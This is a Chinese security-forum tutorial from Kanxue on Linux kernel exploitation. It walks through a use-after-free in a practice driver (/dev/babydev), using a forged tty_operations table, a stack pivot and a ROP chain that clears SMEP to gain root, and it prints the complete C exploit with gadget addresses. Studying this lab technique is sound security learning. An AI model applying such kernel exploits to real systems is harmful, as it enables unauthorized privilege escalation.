本文为看雪论坛精华文章
看雪论坛作者ID:钞sir
前情提要:Linux Kernel Exploit 内核漏洞学习(2)-ROP
ptmx 、tty_struct 、tty_operations
struct tty_struct *alloc_tty_struct(struct tty_driver *driver, int idx)
{
struct tty_struct *tty;tty = kzalloc(sizeof(*tty), GFP_KERNEL);
if (!tty)
return NULL;kref_init(&tty->kref);
tty->magic = TTY_MAGIC;
tty_ldisc_init(tty);
tty->session = NULL;
tty->pgrp = NULL;
mutex_init(&tty->legacy_mutex);
mutex_init(&tty->throttle_mutex);
init_rwsem(&tty->termios_rwsem);
mutex_init(&tty->winsize_mutex);
init_ldsem(&tty->ldisc_sem);
init_waitqueue_head(&tty->write_wait);
init_waitqueue_head(&tty->read_wait);
INIT_WORK(&tty->hangup_work, do_tty_hangup);
mutex_init(&tty->atomic_write_lock);
spin_lock_init(&tty->ctrl_lock);
spin_lock_init(&tty->flow_lock);
INIT_LIST_HEAD(&tty->tty_files);
INIT_WORK(&tty->SAK_work, do_SAK_work);tty->driver = driver;
tty->ops = driver->ops;
tty->index = idx;
tty_line_name(driver, idx, tty->name);
tty->dev = tty_get_device(tty);return tty;
}
static inline void *kzalloc(size_t size, gfp_t flags)
{
return kmalloc(size, flags | __GFP_ZERO);
}
struct tty_struct {
int magic;
struct kref kref;
struct device *dev;
struct tty_driver *driver;
const struct tty_operations *ops;
int index;
struct ld_semaphore ldisc_sem;
struct tty_ldisc *ldisc;
struct mutex atomic_write_lock;
struct mutex legacy_mutex;
struct mutex throttle_mutex;
struct rw_semaphore termios_rwsem;
struct mutex winsize_mutex;
spinlock_t ctrl_lock;
spinlock_t flow_lock;
struct ktermios termios, termios_locked;
struct termiox *termiox;
char name[64];
struct pid *pgrp;
struct pid *session;
unsigned long flags;
int count;
struct winsize winsize;
unsigned long stopped:1,
flow_stopped:1,
unused:BITS_PER_LONG - 2;
int hw_stopped;
unsigned long ctrl_status:8,
packet:1,
unused_ctrl:BITS_PER_LONG - 9;
unsigned int receive_room;
int flow_change;
struct tty_struct *link;
struct fasync_struct *fasync;
wait_queue_head_t write_wait;
wait_queue_head_t read_wait;
struct work_struct hangup_work;
void *disc_data;
void *driver_data;
spinlock_t files_lock;
struct list_head tty_files;
#define N_TTY_BUF_SIZE 4096
int closing;
unsigned char *write_buf;
int write_cnt;
struct work_struct SAK_work;
struct tty_port *port;
} __randomize_layout;
struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct file *filp, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, char ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty,
unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
int (*get_icount)(struct tty_struct *tty,
struct serial_icounter_struct *icount);
void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
int (*poll_init)(struct tty_driver *driver, int line, char *options);
int (*poll_get_char)(struct tty_driver *driver, int line);
void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
int (*proc_show)(struct seq_file *, void *);
} __randomize_layout;
Smep
$CR4 = 0x1407f0 = 0b0001 0100 0000 0111 1111 0000
$CR4 = 0x6f0 = 0b0000 0000 0000 0110 1111 0000
mov cr4,0x6f0
1、利用UAF漏洞,去控制利用tty_struct结构体的空间,修改真实的tty_operations的地址到我们构造的tty_operations;
2、构造一个tty_operations,修改其中的write函数为我们的rop;
3、利用修改的write函数来劫持程序流;但是其中需要解决的一个问题是,我们并没有控制到栈,所以在rop的时候需要想办法进行栈转移。
for(i = 0; i < 30; i++)
{
fake_tty_opera[i] = 0xffffffffffffff00 + i;
}
fake_tty_opera[7] = 0xffffffffc0000130;
mov rsp,rax
xchg rsp,rax
for(i = 0; i < 30; i++)
{
fake_tty_opera[i] = 0xffffffff8181bfc5;
}
fake_tty_opera[0] = 0xffffffff810635f5;
fake_tty_opera[1] = (size_t)rop;
fake_tty_opera[3] = 0xffffffff8181bfC5;
fake_tty_opera[7] = 0xffffffff8181bfc5;
int i = 0;
size_t rop[20]={0};
rop[i++] = 0xffffffff810d238d;
rop[i++] = 0x6f0;
rop[i++] = 0xffffffff81004d80;
rop[i++] = 0x6161616161;
rop[i++] = (size_t)get_root;
rop[i++] = 0xffffffff81063694;
rop[i++] = 0x6161616161;
rop[i++] = 0xffffffff814e35ef;
rop[i++] = (size_t)shell;
rop[i++] = user_cs;
rop[i++] = user_eflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
#include<stdio.h>
#include<unistd.h>
#include<fcntl.h>
unsigned long user_cs, user_ss, user_eflags,user_sp;
size_t commit_creds_addr = 0xffffffff810a1420;
size_t prepare_kernel_cred_addr = 0xffffffff810a1810;
void* fake_tty_opera[30];void shell(){
system("/bin/sh");
}void save_stats(){
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %3\n"
"pushfq\n"
"popq %2\n"
:"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
:
: "memory"
);
}void get_root(){
char* (*pkc)(int) = prepare_kernel_cred_addr;
void (*cc)(char*) = commit_creds_addr;
(*cc)((*pkc)(0));
}int main(){
int fd1,fd2,fd3,i=0;
size_t fake_tty_struct[4] = {0};
size_t rop[20]={0};
save_stats();rop[i++] = 0xffffffff810d238d;
rop[i++] = 0x6f0;
rop[i++] = 0xffffffff81004d80;
rop[i++] = 0x6161616161;
rop[i++] = (size_t)get_root;
rop[i++] = 0xffffffff81063694;
rop[i++] = 0x6161616161;
rop[i++] = 0xffffffff814e35ef;
rop[i++] = (size_t)shell;
rop[i++] = user_cs;
rop[i++] = user_eflags;
rop[i++] = user_sp;
rop[i++] = user_ss;for(i = 0; i < 30; i++)
{
fake_tty_opera[i] = 0xffffffff8181bfc5;
}
fake_tty_opera[0] = 0xffffffff810635f5;
fake_tty_opera[1] = (size_t)rop;
fake_tty_opera[3] = 0xffffffff8181bfC5;
fake_tty_opera[7] = 0xffffffff8181bfc5;fd1 = open("/dev/babydev",O_RDWR);
fd2 = open("/dev/babydev",O_RDWR);
ioctl(fd1,0x10001,0x2e0);
close(fd1);
fd3 = open("/dev/ptmx",O_RDWR|O_NOCTTY);
read(fd2, fake_tty_struct, 32);
fake_tty_struct[3] = (size_t)fake_tty_opera;
write(fd2,fake_tty_struct, 32);
write(fd3,"cc-sir",6);
return 0;
}
gcc poc.c -o poc -w -static
objdump -d vmlinux -M intel | grep -E "cr4|pop|ret"
objdump -d vmlinux -M intel | grep -E "swapgs|pop|ret"
- End -
看雪ID:钞sir
https://bbs.pediy.com/user-818602.htm
开奖专区
恭喜 这么远 那么近~获奖!(上图放错了)
请尽快将图书名称及收件信息(收件人、电话、收件地址)发送至微信公众号后台
注意:中奖后一周内未发来获奖信息者将视为自动放弃。
PS:现在在京东购买,可享满100减50,基本上等于半价购书
在本文下方留言,
留言点赞最多的1名小伙伴
即可免费获得一本图书!
推荐文章++++
﹀
﹀
﹀
公众号ID:ikanxue
官方微博:看雪安全
商务合作:[email protected]
↙点击下方“阅读原文”,查看更多